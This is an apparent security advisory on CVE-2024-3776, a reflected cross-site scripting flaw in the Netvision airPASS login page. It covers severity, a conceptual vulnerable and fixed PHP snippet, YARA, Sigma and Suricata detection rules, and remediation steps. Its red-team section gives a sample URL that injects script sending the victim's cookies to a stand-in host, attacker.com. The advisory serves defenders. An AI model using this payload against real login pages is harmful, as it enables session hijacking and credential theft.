CVE-2024-3776

Executive Summary

CVE-2024-3776 is a reflected Cross-Site Scripting (XSS) vulnerability in the Netvision airPASS login page. An unauthenticated remote attacker can inject arbitrary JavaScript into a parameter that is not properly sanitized, leading to potential session hijacking, credential theft, or redirection to malicious sites. The CVSS score is 6.1 (Medium), and no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary hardware/software appliance from Netvision. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.1, the lack of a patch and the potential for credential theft elevate the risk for organizations using airPASS.

Deep Dive & Mechanics

The vulnerability resides in the login page of Netvision airPASS. The application fails to properly sanitize user input in a specific parameter (likely username, password, or a redirect parameter). When an attacker crafts a URL with malicious JavaScript in that parameter, the server reflects the payload in the HTTP response without encoding or escaping. This allows the script to execute in the victim's browser context.

Attack Flow:

1. Attacker crafts a malicious URL: https://target/login?param=<script>alert('XSS')</script>
2. Attacker sends the link via phishing email, social media, or other channels.
3. Victim clicks the link while authenticated (or not) to the airPASS login page.
4. The server reflects the payload in the response.
5. The victim's browser executes the script, which can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// login.php
$param = $_GET['param'];
echo "<input type='text' name='username' value='$param'>";

Patched Code (Conceptual):

// login.php
$param = htmlspecialchars($_GET['param'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='username' value='$param'>";

The fix requires proper output encoding using htmlspecialchars() or equivalent to neutralize HTML/JavaScript injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (No public exploit available):

<!-- Crafted URL -->
https://target/login?param=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Deploy a vulnerable Netvision airPASS instance (version unknown).
2. Use a local web server (e.g., Python) to capture exfiltrated data.
3. Send the crafted URL to a test user.
4. Observe the cookie being sent to the attacker's server.

Automation (using curl):

curl -v "https://target/login?param=<script>alert(1)</script>"

Blue Team

Detection:

• Monitor web logs for unusual parameters containing <script>, onerror=, javascript:.
• Use WAF rules to block reflected XSS patterns.
• Deploy Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search for param= in HTTP requests to the login page.
• Look for base64-encoded or URL-encoded payloads in query strings.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /login with param= containing <script> or onerror= tags.
  • Outbound connections to unknown domains from the victim's browser.
• File IOCs:
  • No specific files; this is a server-side reflection issue.
• Behavioral IOCs:
  • Unexpected redirects after login.
  • Unusual JavaScript execution in the login page.

Detection Engineering

YARA Rule

rule CVE_2024_3776_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Netvision airPASS login parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-3776"
    strings:
        $xss_payload = /param=.*(<script|onerror|onload|javascript:)/
    condition:
        $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt on Netvision airPASS Login
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS payloads in the login parameter of Netvision airPASS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'param='
        cs-uri-query|re: '(?i)(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3776 Reflected XSS in Netvision airPASS"; flow:to_server; content:"param="; nocase; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on the login parameter. Reject any input containing HTML tags or JavaScript.
2. Output Encoding: Use context-aware encoding (e.g., HTML entity encoding) for all user-supplied data reflected in responses.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block reflected XSS patterns.
4. Content Security Policy (CSP): Add a CSP header that restricts script sources to trusted domains only.

Long-Term Actions:

1. Vendor Patch: Contact Netvision for an official patch. If unavailable, consider replacing the appliance.
2. Code Review: Conduct a security audit of the login page and other input-handling components.
3. User Training: Educate users not to click suspicious links, especially those containing query parameters.

Workaround:

• If patching is not possible, restrict access to the airPASS login page via VPN or IP whitelisting to reduce exposure.

Valters IT